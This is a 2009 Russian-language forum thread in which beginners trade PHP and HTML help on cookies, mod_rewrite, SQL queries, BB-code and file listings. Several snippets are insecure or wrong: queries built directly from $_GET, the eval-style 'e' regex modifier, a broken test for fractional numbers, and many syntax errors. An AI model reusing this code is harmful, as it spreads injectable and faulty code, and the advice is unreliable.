2132. Удаленный (24.06.09 / 19:23)
55,+1 спасибо всё валидно ).gif

2133. Удаленный (25.06.09 / 09:26)
А если операндом вычислить сумму к примеру я пишу калькулятор сложения $a=3; $b=5; операнд $s=$a+$b; ответ '.$s.' это я пример можно так делать ?

2134. Studentsov (25.06.09 / 09:38)
#2131 Альтернативный синтаксис - зло
<?
$mode=isset($_GET['mode']) ? trim($_GET['mode']) : '';
switch($mode){
default:
echo'Главная страница';
break;
case 'page1':
echo'Страница 1';
break;
case 'page2:
echo'Страница 2';
break;}
unset($_GET['mode']);
?>


2135. Studentsov (25.06.09 / 09:40)
Забыл ' ... Короче смысл понятен

2136. smartvbxos7 (25.06.09 / 09:42)
$a=1;
$b=2;
echo($a+$b)."<br>";
echo($a-$b)."& lt;br>";
echo($a*$b)."<br>";
echo($a/$b)."<br& gt;";
echo($a%$b)."<br>";

2137. smartvbxos7 (25.06.09 / 09:46)
2158, при ошибочьном результате серавно кинет на default:
значит сайдет и так
switch ($_GET['act']){
default: //гл
break;
case ("paga"): break;
case ("page2"): break;}

2138. smartvbxos7 (25.06.09 / 09:48)
*2160, чета с кодом форум изврашаеца D.gif

2139. Удаленный (25.06.09 / 10:00)
60,ты мне целый калькулятор дал ).gif я просто при реги пишу проверочный код сложением.).gif

2140. Удаленный (25.06.09 / 10:00)
Smart-_-Man +1

2141. Удаленный (28.06.09 / 12:15)
Всем привет подскажите пожалуйста как вставить в пхп код ява скрипт если в ява скрипте присутствуют такие кавычки ' и такие "

2142. painter (28.06.09 / 12:19)

<?php
echo'<script language="javascript">'
alert(\'Hello World!\');
</script>
?>


2143. painter (28.06.09 / 12:21)
Блин, немного не так)))
Вобщем просто выводи через эхо нужный скрипт, а одиночные кавычки комментируй обратным слэшем (Если текст эхо в двойных кавычках, то тогда в ява-скрипте комментируй двойные).
А проше закрыть тег РНР ( ?> ), Вписать нужный скрипт, а потом снова открыть
(<?php)

2144. Удаленный (28.06.09 / 16:07)
БОЛЬШОЕ СПАСИБО ПАРНИ

2145. Удаленный (28.06.09 / 16:23)
не выходит(.gif

2146. smartvbxos7 (28.06.09 / 18:09)

<?php
echo '<script>alert("бла бла")</script>';
?>


2147. Удаленный (29.06.09 / 02:12)
все разабрался от души парни

2148. Удаленный (29.06.09 / 11:30)
Я создавать по аналогу класса загрузки картинок,добавки музыки,прокатит этот аналог?просто в анкеты сейчас пишу мод добавки музыки юзерам.

2149. Удаленный (29.06.09 / 11:30)
Если создавать по аналогу класса загрузки картинок,добавки музыки,прокатит этот аналог?просто в анкеты сейчас пишу мод добавки музыки юзерам.

2150. demeros (29.06.09 / 11:32)
Ну смотря как создаш.).gif

2151. Удаленный (29.06.09 / 11:42)
74,class картинок т.е фото уже есть и давно работает. Там если загрузку форматов сменить прокатит?

2152. Удаленный (29.06.09 / 12:28)
Парни подскажите пожалуйста как можно проинклудить файл с донима на под домен?
 так не выходит выдает ошибку 
include 'http://sait.ru/papka/file.php';
каким образом еще это можно реализовать?

2153. Удаленный (29.06.09 / 12:32)
2176,
require('papka/file.php');


2154. phpcoder (29.06.09 / 12:39)
Надо в инклуде не URL файла писать, а адрес к папке.. Если у тебя сайты не в одной общей папке на хостинге лежат, то вряд ли ты сможешь проинклудить.

2155. Удаленный (29.06.09 / 12:40)
И кстати ты не проинклудишь страницу с другого сервера. Нет такого инклуда с http://.

2156. Удаленный (29.06.09 / 13:29)
Все вроде разобрался большое спасибо

2157. Удаленный (30.06.09 / 16:23)
Такой вопрос подскажите кто знает как можно запретить поглядеть исходный текст странички html?

2158. Koss (30.06.09 / 17:19)
2181, никак.
Разве что большими красными буквами на каждой странице "Не смотрите исходный код, пожалуйста!".

2159. Удаленный (30.06.09 / 18:23)
Есть такая фича чтобы сканером нельзя было глянуть код)только я забыл код это или скрипт.

2160. Удаленный (30.06.09 / 18:49)
да безразнице у меня был код на ява скипте потерял

2161. mocart (30.06.09 / 19:01)
А если на юзер агент проверять? по идее страницу не должен отдать

2162. smartvbxos7 (30.06.09 / 20:02)
2183, замем тебе исходник хтмл кода прятать?

2163. Удаленный (30.06.09 / 20:09)
2186,мне не надо его прятать) пост другой интересуется.

2164. mocart (30.06.09 / 20:46)
Пиши в начало файла:

if(empty($_SERVER['HTTP_USER_AGENT']) or !isset($_SERVER['HTTP_USER_AGENT'])){
echo'Простите, данная страница доступна только людям, а не машинам';exit;}

И наверно будет тебе счастье

2165. Удаленный (30.06.09 / 23:15)
не работает почиму то (.gif

2166. Удаленный (30.06.09 / 23:19)
просто я пишу свой первый скрипт гостевой и хотелось бы пока что спрятать код страници только вот не знаю как

2167. Удаленный (30.06.09 / 23:45)
#2190 а зачем тебе хтмл код прятать? Это ведь не пхп код).gif
*_*_*
такой вопрос:
есть стандартная функция is_numeric() могу ли я обьявить свою функцию с таким же именем и заменит ли она стандартную?
Вот типа того:
function is_numeric($num){
if(is_numeric($num) && $num>0){
return TRUE;
}else{
return FALSE;
}
}
и еще, правильно ли я возвращаю ответ? Хочу функцию для проверки логинов сделать и вот эту^ еще.
Просто как видно по арбузу внизу поста, нет возможности проверить самому. (.gif

2168. DmitryDick (01.07.09 / 01:16)
Не заменит. Возвращаешь правильно)

2169. Удаленный (01.07.09 / 04:04)
2190,а тебе значит вот как надо спрятать) ну тогда шифруй свой код.

2170. Arantir (01.07.09 / 08:26)
Пытаться спрятать Html код от браузера невозможно просто технически. Ведь должен же он что то обрабатывать))

2171. Удаленный (01.07.09 / 11:21)
Ведь както можно это делают чтобы заблокировать меню у браузера чтобы исходный текст нельзя было посмотреть правую кнопку у мыши могу заблокировать а вот меню не получается(.gif

2172. Удаленный (01.07.09 / 11:25)
2195. Не выйдет. Всегда есть способы обойти. Слить страницу или выключить ява скрипты. Или сканером просмотреть. От мобильных арбузеров вообще не закроешься ни как. Да и зачем это нужно то?

2173. smartvbxos7 (01.07.09 / 14:33)
#90, споб есть но уже непомню ево

2174. smartvbxos7 (01.07.09 / 14:34)
90, все реальна

2175. smartvbxos7 (01.07.09 / 14:37)
*97, способ

2176. umaha (03.07.09 / 22:35)
<select onChange="document.location=this.options[this.selectedIndex].value">
<option>м еню</option>
<option value="url1">*1</option>
<option value="url2">*2</option>
</select><br/>
как выводить эти сылки которые отмечены с звездочкой на главную без формы перехода? Хочу чтобы на другой теме эти сылки стояли без этой формы. Например:
меню
*1 сылка
*2 сылка

2177. umaha (03.07.09 / 22:43)
Если знает кто подскажите пожалуйста буду очень рад!

2178. Aleksandr (04.07.09 / 00:18)
<a href="url1">1</a>
<a href="url2">2</a>
йомаё

2179. WapAz (04.07.09 / 12:24)
http://visavi.net/forum/index.php?fid=7&id=124669362435
Помагите если знаете

2180. umaha (04.07.09 / 13:10)
..02. Йомае.. Это я тоже знаю). Я хочу в другой теме выводить из этой формы сылки кормые там есть но без этой формы перехода, как описал выше

2181. Nasgul (05.07.09 / 11:28)
привет ребята! вобщем у меня такая проблема делаю сервис граббер как мне сделать чтобы пользватель заполнял форму мог добавить рекламу свою в верх страници и в низ и чтобы при заполнении ему давался свой id а не site?url=sait.ru за оказаную помощь 100wmr переведу

2182. Удаленный (05.07.09 / 16:47)
2205,и как ты это можешь представить? Надо это всё на базе писать это вообщем целая партнерка по регистрации сайта и выделения нужного id для каждого юзера.

2183. Удаленный (05.07.09 / 16:51)
Вообщем могу я тебе написать эту партнерку но не за 100 рублей.

2184. Удаленный (05.07.09 / 17:16)
Что такое шелл, как ею пользоваться и для чего он?

2185. Удаленный (05.07.09 / 17:48)
2208,шелл это такой пакостный файл который узнает определённые данные. В основном он лежит в папках с правами 777.

2186. Aleksandr (05.07.09 / 18:35)
2204, в каких бы позах не пробовал никак не пойму чего ты хочешь

2187. Nasgul (05.07.09 / 19:03)
Вот тут пример такого сервиса
http://x-zero.ru/prof/index.php?i=1&sess=osuif4io5160rmpe7qk2uf13h2
400wmr за такой сервис?

2188. Nasgul (05.07.09 / 19:04)
вобщем чтобы не торгаватся пишите в аську 466600075

2189. Flowthgin (05.07.09 / 19:07)
не всегда на шелл можно ставить права 777

2190. Nasgul (06.07.09 / 22:49)
всем привет подскажите функцию как ограбить форму с чужого сайта и чтобы она работала?заранее благодарен буду!!

2191. DmitryDick (07.07.09 / 00:32)
Скопируй ее html код и в теге form атрибут action перепеши с, например, action=page.php, на action=http://site/page.php

2192. Phantom (07.07.09 / 07:43)
Форма ведь обычно имеет постоянный вид. Лучше в коде её чётко прописать, а не грабить. А wml форму, например, не получится целиком сграбить и отобразить в html.

2193. Nasgul (07.07.09 / 10:38)
Не получается ограбить html форму пишит что ни чего не найдено ввожу на том сайте на этой же странице все нормально есть результаты поиска сделал так action='search.php' заменил на action='/моя_папка/searc.php'и ни срабатывает может кто за 100 wmr обяснит как ограбить?

2194. Удаленный (07.07.09 / 15:47)
Как замутить такую щтуку... например есть страница qwerty.php блин даже не знаю как всё сформулировать... вообщем нужно чтобы эта страница была с другим расширением например qwerty.juj xuy и т.д. просто видел гдет такую штуку и нужно для одного дельца

2195. 9e9ywk0 (07.07.09 / 23:07)
можно еще заюзать мод реврайт, что то типа
RewriteRule ^qwerty.juj$ qwerty.php

2196. 9e9ywk0 (07.07.09 / 23:09)
даже так можно
RewriteRule ^([0-9]*).juj$ $1.php [L]

2197. Nasgul (08.07.09 / 16:25)
Привет ! Подскажите если кто знает как заменить ссылки с главной /chat/index.php
а заменить на такие
index.php?id=1
index.php?p=chat
буду очень благодарен

2198. Nasgul (08.07.09 / 22:07)
что не кто не поможет с постом 2223

2199. Aleksandr (08.07.09 / 22:27)
ты о мод реврайт? тема для этого прикреплена. зайди прочти и действуй. че не получится спроси тут

2200. Nasgul (08.07.09 / 22:36)
я в пхп 0 и не понимаю! мне просто интересен код
с главной странице сайта site.ru/index.php
на site.ru/chat/index.php вот таким оброзом
site.ru/index.php?id=1 или вот так site.ru/index.php?p=chat

2201. mocart (11.07.09 / 16:47)
Народ выручайте, вот линк с веника Долга рассказывать <- мой вопрос , там никто неможет помочь, надеюсь на вас

2202. Wapruks (12.07.09 / 15:10)
Попробуй вместо
if($f[$a]=='' or $f[$a]==' '){
Сделать
if(empty($f[$a]) or $f[$a]==' '){

2203. mocart (12.07.09 / 16:38)
Андрюша не умничай, так делал....).gif

2204. SNELS (13.07.09 / 01:19)
Как правельно путь, относительно корня для шрифта прописать?
Делаю типа:

$font = getcwd()."/".$_SERVER[DOCUMENT_ROOT]."/captcha/ALMAGRO.TTF";

Не робит так.

2205. SNELS (13.07.09 / 01:23)
Всё, не надо =) Сам разобрался =)))

2206. Katorzhnik (16.07.09 / 22:37)
Народ,вопрос на засыпку:как определить,число дробное или целое?

2207. phpcoder (16.07.09 / 22:57)
не уверен, но может так?

if($chislo%1)echo "Дробное";else echo "Целое";


2208. WapAz (17.07.09 / 12:18)
Привет. Я в маторе через функцию иф написал если lang=en открой англиский файл. Это функция работает если в канце аддреса написать ?lang=en . В внизу сайта ест линк каторый в канце страницы пишет эту переменную. И типер проблема: с помошю setcookie('lang=',$lang); переменная ланг пишеться в куках. Но если убирать переменную ланг с одресной строки то функция иф не узнает какой файл открыт. Как бутда куках нечего нету. Как это исправить?

2209. Удаленный (18.07.09 / 15:05)
Ребята подскажите часовой пояс где можно глянуть? Я хочу попробывать сделать сброс кукиксов по времени

2210. Titov (18.07.09 / 15:14)
2235/

<?
/* этот cookie действителен в течение 10 мин после создания */
setcookie("name", $value, time() + 600);
/* действие этого cookie прекращается в полночь 25 января 2010 года */
setcookie("name", $value, mktime(0,0,0,01,25,2010));
/* действие этого cookie прекращается в 18.00 25 января 2010 года */
setcookie("name", $value, mktime(18,0,0,01,25,2010));
?>


2211. Titov (18.07.09 / 15:21)
2234/

<?
if(isset($_COOKIE['lang']){$lang = '$_COOKIE['lang']';
if($lang == 'en')header("Location: page.php?lang=en");}else{setcookie("lang",$lang,time()+31536000);echo'<a href="page.php?lang=en">English</a>I<a href="page.php?lang=ru">Русский</a><br/>';}
?>


2212. Удаленный (18.07.09 / 15:49)
Титов конечно спасибо и +1 но часовой пояс не знаю мне надо чтоб куки сбрасывались у моих пользователей ровно через неделю какой тогда пояс?

2213. Удаленный (18.07.09 / 15:57)
А алфавит если постараться можно сделать через массив и переменную типо $a[0]=A; $a[1]=Б; и.т.д ?

2214. Удаленный (18.07.09 / 15:59)
Дальше понятия и.т.д я знаю главное понять и напряч маленько моск на совмещение.

2215. Titov (18.07.09 / 16:00)
2238/

<?
setcookie("name_cookie",$cookie,time()+604800); /// жизнь кукиса 604800 секунд что равно 7 суткам(60*60*24*7) 1 неделя
?>


2216. Удаленный (18.07.09 / 16:06)
Просто нужно сделать статистику не большую по юзерам по никам .т.е алфавит по буквам ников.

2217. Titov (18.07.09 / 16:15)
2242 если из базы ьрать ники то можно сразу их по алфавиту сортировать и не придумывать велосипед, например

<?
$q = mysql_query("SELECT nickname FROM table_users WHERE id != 0 ORDER BY `nickname`");
while($user = mysql_fetch_array($q))
{
$nickname = $user['nickname'];
$c++;
echo $c $nickname.'<br/>';
}
?>


2218. Удаленный (18.07.09 / 16:20)
Ок. Попробую этот код завтра как на комп сяду.

2219. SNELS (20.07.09 / 00:09)
Блин, вот чё-то я с егуляркой вдуплить не могу.
У меня такая ситуация, делаю типа bb-code.
Подсветка php у меня релизуется вот таким путём:

$msg=preg_replace( "#\[code\](.+?)\[/code\]#is" , php("а вот тут как-то надо запихивать текст нужный"),$msg);

php()-это функция подсветки кода. Как правельно сделать?

2220. DmitryDick (20.07.09 / 02:23)
$msg=preg_replace( "#\[code\](.+?)\[/code\]#ise", 'php ("\1")',$msg);
Модификатор 'e' для обработки функций внутри

2221. SNELS (20.07.09 / 07:04)
2246, спасибо =)
Теперь другой вопрос. У меня перед сохранением,текстовая переменная фильтруется htmlspecialchars(). Как после этого сделать подсветку кода?

2222. SNELS (20.07.09 / 12:12)
Вот какое дело заметил ещё.
При прогоне через highlight_string() знака $, ну или например $var, у меня вместо этого нифига не выводится.
Если в этой функции написать код:

<?
$var='Проверка';
echo $var;
?>

то выводится вот такое:

<?
='Проверка';
echo ;
?>

Кто-нибудь встречался с таким чудом?

2223. Aleksandr (20.07.09 / 13:06)
может твоя функция фильтрации мешает?

2224. SNELS (20.07.09 / 13:55)
Ай, всё уже =) Сделал совсем другим способом эти бб-коды =)

2225. Vovan (20.07.09 / 17:00)
Как сделать вывод всех .txt файлов из папки?Чтобы выводились только имена файлов без ".txt" и с постраничной навигацией?

2226. Удаленный (20.07.09 / 17:58)
2251,
 $files=glob('txt');//формат вывода print_r=($files); foreach($files as $v); 
выводишь так
echo '.$v.';


2227. Удаленный (20.07.09 / 17:59)
2251,
 $files=glob('txt');  print_r=($files); foreach($files as $v); 
выводишь так
echo '.$v.';


2228. Удаленный (20.07.09 / 18:03)
Мля опять тараплюсь 2251,в первой строке пиши так
$files=glob('*.txt');
путь к файлу например
$files=glob('papka/*.txt');


2229. Удаленный (20.07.09 / 18:07)
Код навигации смотри в полезных кусках рhр,я с телефона так бы написал код.

2230. Titov (20.07.09 / 20:05)
2251 не пропускает форум код, вот вобщем пусть полежит скоро удалю так что спеши
http://4ixa.ru/papka/file.txt

2231. Vovan (21.07.09 / 00:21)
Нее,#2253 и #2256 не катит (.gif

2232. Aleksandr (21.07.09 / 00:38)
<?
$dir=opеndir("папка");
whilе($file=rеaddir($dir)){
if( 6;file!=="."&&$file!==".."){
$f[] =$file; }}
$limit=7;
if(!empty($_GЕT['start']))
$start=$_GЕT['start' ;];
elsе
$start=0;
fоr($i=$start;$i<($start+$limit);$i++){еcho$f[$i].'<br>'; }
if($start>0)
еcho'<a href="?start='.($start-$limit).'">prev</a> ';
if(($start+$limit) <cоunt($f))
еcho'<a href="?start='.($start+$limit).'">next</a>';
отсюда не копируй

2233. Vovan (21.07.09 / 00:43)
2258,в смысле 'не копируй'?

2234. Aleksandr (21.07.09 / 01:00)
впрямом. не знаешь как с странички текст копируют? ну тем лучше.
...
а как именно .тхт выводить покажу когда за пк сяду и еси не забуду

2235. Titov (21.07.09 / 13:26)
2257,2259
пример http://4ixa.ru/papka/file.php
вполне отвечает твоим требованиям,если из за кривых конечностей не можеш сделать то тут токо ты виноват

2236. Vovan (21.07.09 / 16:20)
2261, а у меня во чё пишет http://permwap.net.ru/rega/obzor.php

2237. Удаленный (21.07.09 / 18:22)
Нехватает } где то

2238. ZeRoM (26.07.09 / 15:31)
Вопрос такой.
Почему, если передававсь UserAgent так:

curl_setopt($ch, CURLOPT_USERAGENT, 'MY USERAGENT');

Все будет хорошо, без ошибок, UA передастся.
А если сделать так:

$ua = 'my agent';
curl_setopt($ch, CURLOPT_USERAGENT, $ua);

Выдаст ошибку: 400 Bad Request
Почему так?
И как передать UA в переменной?

2239. ZeRoM (26.07.09 / 15:38)
Поспешил я на форуме спрашивать.
Сам решил. Нужно было перенос удалить.

2240. NeWeDim4ik (29.07.09 / 14:35)
\u041f\u043e\u0434\u0441\u043a\u0430\u0436\u0438\u0442\u0435 \u043a\u0430\u043a\u043e\u0439 sql \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0443\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0432 phpMyAdmin \u0447\u0442\u043e\u0431\u044b \u0432 \u0442\u0430\u0431\u0446\u0438\u0446\u0435 \u0442\u0430\u043a\u043e\u0433\u043e \u0442\u0438\u043f\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432 mail.
INSERT INTO "users" ("id", "nick", "pass", "mail", "timereg", "timeaut") VALUES
(1, "NeWeDim4ik", "blablabla", "", 777777777, 777777777)

2241. NeWeDim4ik (29.07.09 / 14:36)
Ой. Подскажите какой sql запрос нужно выполнить в phpMyAdmin чтобы в табцице такого типа установить значение в mail.
INSERT INTO "users" ("id", "nick", "pass", "mail", "timereg", "timeaut") VALUES
(1, "NeWeDim4ik", "blablabla", "", 777777777, 777777777),

2242. GrGrGr (31.07.09 / 03:49)
Люди КАК САЗДАВАТЬ ПУСТЫЕ СТРАНИЦИ АДАПТИРАВАНИ ПАД ДИЗАЙН ДЖОНА?

2243. Удаленный (31.07.09 / 08:29)
2268,шапка
 define('_IN_JOHNCMS',1); $rootpath='каталог'; require_once("incfiles/core.php"); require_once("incfiles/head.php");                   echo 'тело'; 
ноги
require_once("incfiles/core.php");
p.s про переменную $rootpath если что ты редактируешь находится под каталогом то можно ещё не указывать.

2244. Удаленный (31.07.09 / 08:30)
То можно ее не указывать.

2245. GrGrGr (01.08.09 / 05:06)
User, спс!

2246. xass (01.08.09 / 19:30)
При запуске с CRON видает ощибку

: not found
/home/user/htdocs/delete.php: 2: Syntax error: word unexpected (expecting ")")

ссылка на код http://upwap.ru/506867

2247. ZeRoM (01.08.09 / 21:57)
точку убери

2248. xass (02.08.09 / 01:08)
ZeRoM, которую?

2249. ZeRoM (02.08.09 / 14:57)
во второй строке. она ттам одна))

2250. xass (03.08.09 / 00:49)
ето непомагает...

2251. Удаленный (03.08.09 / 02:07)
Убери ковычку и скобки в конце

2252. Удаленный (03.08.09 / 19:06)
Как изменить число из базы к примеру В ЛЕНТЕ 547 записей. Как выразить эта всё в %? Если число доходит до 100?:-)

2253. Удаленный (05.08.09 / 00:51)
$tms = $db->query("SELECT * FROM themes WHERE rim = ".$_GET['tr']." ORDER BY lasttime AND them_up DESC LIMIT ".$page.", ".$privpage.";");
Подскажите почему сортировка происходит по строке тем_ап а по ласттайм уже не сортирует? Ошибок вроде ни каких не выдает(.gif

2254. z-kzn-z (07.08.09 / 12:21)
попробуй
.. ORDER BY `lasttime` DESC, `them_up` DESC
ну это если тебе везде нужно DESC
если тока в последнем случае - то убери в первом

2255. ZYCUS (07.08.09 / 12:34)
Привет помогите пожалуйста Почему не работает кто где? Гостей перестал обновлять Показывает одно и тоже Если нужен пример могу ссылку дать;-)

2256. Удаленный (07.08.09 / 12:37)
Давай конечно пример

2257. ZYCUS (07.08.09 / 12:42)
Отчего такое может быть? Как остановилось когда то так стоит http://slv-city.net.ru/pages/who.php?action=guest&

2258. Gansik (07.08.09 / 12:46)
83, проверь права на запись

2259. ZYCUS (07.08.09 / 12:50)
А можно поподробнее? Где именно? И на какой файл?

2260. Gansik (07.08.09 / 14:02)
85, local/who.dat
вроде там, мотор уже не юзаю

2261. ZYCUS (07.08.09 / 14:05)
Да на это и whoguest.dat стоят права 770

2262. lugaro (07.08.09 / 14:22)
постав 666

2263. ZYCUS (07.08.09 / 14:36)
Поставил Пока жду Мне кажется не особо помогло

2264. paradoks (07.08.09 / 15:01)
есть проблема,
<?php
$a=lampa;
echo "$a";
?>

ввожу это норм выводит а если ввожу
<?php
$a=лампа;
echo "$a";
?>
выводит:
аЛаАаМаПаА...OC linux ubuntu

2265. Удаленный (07.08.09 / 15:24)
2290, с чего бы это?0_O

2266. paradoks (07.08.09 / 15:25)
2291,ну вот и я так думаю

2267. ZYCUS (07.08.09 / 15:42)
Мне кто может помочь Очень прошу! Посты выше:-)

2268. Удаленный (07.08.09 / 15:45)
2292, у тебя какая убунту? Сейчас ставлю 9.04, у себя посмотрю что да как

2269. Удаленный (07.08.09 / 15:51)
2292, ты LAMP'ом все ставил?

2270. paradoks (07.08.09 / 16:09)
все норм......проблему решил

2271. Удаленный (07.08.09 / 16:10)
2296, а в чем заключалась?

2272. ZYCUS (07.08.09 / 16:45)
Привет помогите пожалуйста Почему не работает кто где? Гостей перестал обновлять Показывает одно и тоже
Отчего такое может быть? Как остановилось когда то так стоит http://slv-city.net.ru/pages/who.php?action=guest&

2273. paradoks (07.08.09 / 23:29)
2297,сохранял в кодировку utf-8,а нужно было win 1251

2274. defenderxp (20.08.09 / 13:26)
Народ один добрый чел написал мне скрипт, который выводит все возможные н-значные комбинации.В общем нужно чтобы после вывода возле каждой комбо был чекбокс, а в самом плес кнопка "Удалить".Чтобы когда нажимае на "Удалить" - страница обновлялась и все комбо, помеченые галкой удалялись.и можно ли сделать чтобы потом можно было какие остались комбо через кнопку "Сохранить" сохранят в файл php на сервере?

2275. shurik (22.08.09 / 07:03)
у меня ошибка в редактировании данных в базе
ошибка:
__________________________________
Notice: Undefined variable: autor in T:\home\localhost\php\admin\update_lesson.php on line 9
__________________________________
9 линия:

if (isset($_POST['autor'])) {$autor = $_POST['autor'];} if ($autor == '') {unset($autor);}

как это исправить

2276. KOZZ (22.08.09 / 07:27)
2301,данные методом post передались,вот и ругаеццо

2277. lugaro (22.08.09 / 07:50)
2301 if (!empty($_POST['autor'])) {$autor = $_POST['autor'];} if ($autor == '') {unset($autor);}

2278. crows (22.08.09 / 08:57)
не понял. а где мои сообщения??

2279. Atuwap (24.08.09 / 22:25)
кто знает как сделат на регион 56 чате на онлайне если у кого цветные ники пуст ники показалис цветными. Или ест у когото етот готовый файл?? с меня +

2280. Удаленный (25.08.09 / 08:25)
2305,<font color="цвет">юзер простой</font> эта равняешь с левелом к простым юзерам например которые до Тусовщика. Для администрации начинаешь от випа также фонт,левелы если не дописаны пиши к логинам.

2281. Atuwap (26.08.09 / 20:20)
06. + АдЫн. Вапше ет не для меня у меня мотор.

2282. Atuwap (26.08.09 / 20:24)
Ешо вопросик. Кто исползывал Веник(wen.ru)? Как там java script добавляется? (ет тоже другу ГыыЫ)

2283. Aleksandr (26.08.09 / 20:52)
2308, как обычно <script></script>
<script type="text/javascript"></script>

2284. Atuwap (26.08.09 / 21:42)
2309. А добавлят можно как там hтml страниче ест добавлят код? Если у меня файл.js как ету добавлят?

2285. Aleksandr (26.08.09 / 22:01)
<script language="JavaScript" src="file.js"></script>

2286. bessik (27.08.09 / 20:20)
здрасте... можно как нибудь запретить выполнения js приписанного к адресу сайта ?

2287. painter (29.08.09 / 13:14)
Можно.
Если он на твоем сайте - просто убери его нафиг ).gif
Если на чужом - запрети исполнение скриптов в браузере ).gif

2288. Gnom (29.08.09 / 20:54)
Привет всем если кто ни будь сталкивался с таким или где ни будь слышал помогите мне, точнее подскажите как сделать что бы допустим скрипт был на одном домене но выводил список файлов с другого, т.е. Допустим есть загруз который конектится к базе на другом домене и от туда выводит файлы или как это лучше сделать?

2289. Titov (29.08.09 / 21:12)
2314 ты слышал когдато о грабах? Вот если слышал то используй етот метож и будет тебе щасте).gif

2290. Удаленный (30.08.09 / 08:43)
Подскажите как поставить редирекс с вмл страницы на сайт? Заранее спасибо).gif

2291. Gnom (30.08.09 / 16:06)
#2315 причем здесь это мне надо что бы файлы хранились на одном домене, а работа с ними шла с другого домена

2292. Удаленный (30.08.09 / 17:34)
Вот помогите плиз начинающему мага супер пупер кодырю
вот смотрите мне нуно вывести сколько ссылок доступно
$url=mysql_query("SELECT * FROM `".prefix."posts");
$urls=mysql_num_rows($url);
вот ета строчка ращитывает сколько всего ссылок а мне надо чтоб выводило промодерированные и активные ссылки
и нашол вот такой код
$[email protected]_query("SELECT * FROM `".prefix."url` WHERE `id_user`<>'".$_USER['id']."' && `moder`='0' && `activ`='0' ");
так вот как вставить в первую строчку которую я вам написал вот из этой строчки && `moder`='0' && `activ`='0'
Помогите плиз дело жизни и смерти моего скрипта

2293. Удаленный (30.08.09 / 17:47)
2317,а припарковать домен не проще?или я тебя не так понял?

2294. MobiRow (30.08.09 / 19:43)
Кто может помочь с загрузом сеа. Там скриншоты выводятся как название.3gp.jpg. А мне нужно чтобы было название.jpg без расширения. Как это можно сделать. Тут даже ктото выкладывал.

2295. z-kzn-z (30.08.09 / 19:53)
2318, ну так и вставить, "SELECT * FROM `".$prefix."posts` WHERE `moder`='0' AND `activ`='0'"
P.S. AND вместо && я пишу в запросах просто по привычке, если хочешь, поменяй

2296. Удаленный (30.08.09 / 20:00)
z-kzn-z чет ниче не получается (

2297. painter (30.08.09 / 20:08)
Если надо вывести только количество, я бы рекомендовал

<?php
echo mysql_result(mysql_query("SELECT count(*) FROM `".prefix."url` WHERE `id_user`<>'".$_USER['id']."' AND moder='0' AND activ='0';"),0);
?>


2298. Удаленный (30.08.09 / 20:12)
а что потом вставить надо чтоб етто вывелось ?

2299. painter (30.08.09 / 20:13)
это готовый вывод. ЕСНО впереди стоит ).gif
Если надо - можешь все это в переменную сохранить.

2300. Удаленный (30.08.09 / 20:14)
чет я нефига непонял

2301. Удаленный (30.08.09 / 20:15)
Зделай плиз через переменную

2302. Удаленный (30.08.09 / 20:19)
Вот попробовал сделать через переменную
$pizda=mysql_result(mysql_query("SELECT count(*) FROM &#96;".prefix."url&#96; WHERE &#96;id_user&#96;<>'".$_USER['id']."' AND moder='0' AND activ='0';"),0);
$pizdas=mysql_num_rows($pizda);
echo "Ссылок доступно: <b>$pizda</b><br/>";
но серавно ниче невыводица

2303. painter (30.08.09 / 20:26)
$query=mysql_query("SELECT count(*) FROM `".$prefix."url` WHERE `id_user` <> '".$_USER['id']."' AND moder = '0' AND activ = '0';")or die(mysql_error());
#-------------
$count = mysql_result($query,0);
echo 'Ссылок: '.$count.'<br />';
---------------------------------
Замечание: у тебя prefix - это константа? Если нет, то ставь перед ней
$

2304. Удаленный (30.08.09 / 20:28)
блин че такое константа я дуб дубом в этом деле просто )

2305. Удаленный (30.08.09 / 20:30)
о получилось убрал $ и все терь показывает норм спасибо

2306. painter (30.08.09 / 20:30)
если написать:
define('prefix','blablabla');
то это будет константа, и писать ее надо просто:
prefix
но если ты гдето там написал, сто
$prefix="mypref_";
то придеться писать везде
$prefix,
когда надо ее вызвать

2307. Удаленный (30.08.09 / 20:35)
Серавно непонял но ладно спасибо что помог

2308. blud (31.08.09 / 12:22)
доброго времени суток!кто нибуть знает как можно проверить с помощью php установлен ли флеш плеер, если не установлен то как заменить это место где ролик картинкой?буду очень благодарен за помощь!

2309. Удаленный (31.08.09 / 18:48)
Как в php каким символом обозначить новую строку...переход на нее.

2310. Удаленный (31.08.09 / 19:21)
2335,\n;

2311. Удаленный (31.08.09 / 19:23)
2335,в конце ссылки пишешь \n";

2312. Удаленный (31.08.09 / 19:26)
а что \t означает?

2313. MobiRow (31.08.09 / 20:43)
Кто нибудь поможет мне с постом 2320?

2314. painter (31.08.09 / 20:44)
38, эт знак табуляции. (TAB одним словом, т.е. большой отступ)

2315. Удаленный (31.08.09 / 20:49)
о спасибо пацаны).gif

2316. painter (31.08.09 / 20:51)
На заметку:
Знаки \n и \t выводить echo'м надо в двойных кавычках, иначе просто выведет по два символа

2317. shurik (02.09.09 / 18:07)
помогите кто разбирается в авторизациях, а то не могу написать не как

2318. lugaro (02.09.09 / 18:53)
2343 а что конкретно не понятно?

2319. shurik (03.09.09 / 15:10)
кароче всегда пишет что не верный пароль

2320. blud (04.09.09 / 10:17)
доброго времени ребята помогите пожалуйстн у меня есть файл style.css как мне в него воткнуть пхп код чтобы он работал? Срочно надо

2321. Удаленный (04.09.09 / 10:44)
2346,<link rel="stylesheet" href="style.css" type="text/css" />

2322. blud (04.09.09 / 13:11)
нет мне надо чтобы в в файле style.css где находится
 body {bacground:#000}
а вот где #000 чтобы можно было вставить <?=bgcolor; ?>


2323. Удаленный (04.09.09 / 13:46)
2348,
<?php <style type="text/css">код файла</style> ?>
это перед закрытием тега </head> пиши

2324. blud (04.09.09 / 15:15)
это в отдельном файле так писать?или в файле пхп а потом это все дело проинклудить?

2325. blud (04.09.09 / 15:18)
о получилось User, спасибо большое

2326. blud (08.09.09 / 14:58)
привет всем парни нужна ваша помощь!вот у меня есть файл style.css как мне в этот файл включить пхп код и чтобы он работал?

2327. painter (08.09.09 / 16:33)
<head>
...
<link rel="stylesheet" type="text/css" href="style.css" />
...
...
</head>
...

2328. Slavka-r (09.09.09 / 11:12)
как сделать чтоб сервер не прекращал работу скрипта по таййм ауту?

2329. lugaro (09.09.09 / 11:26)
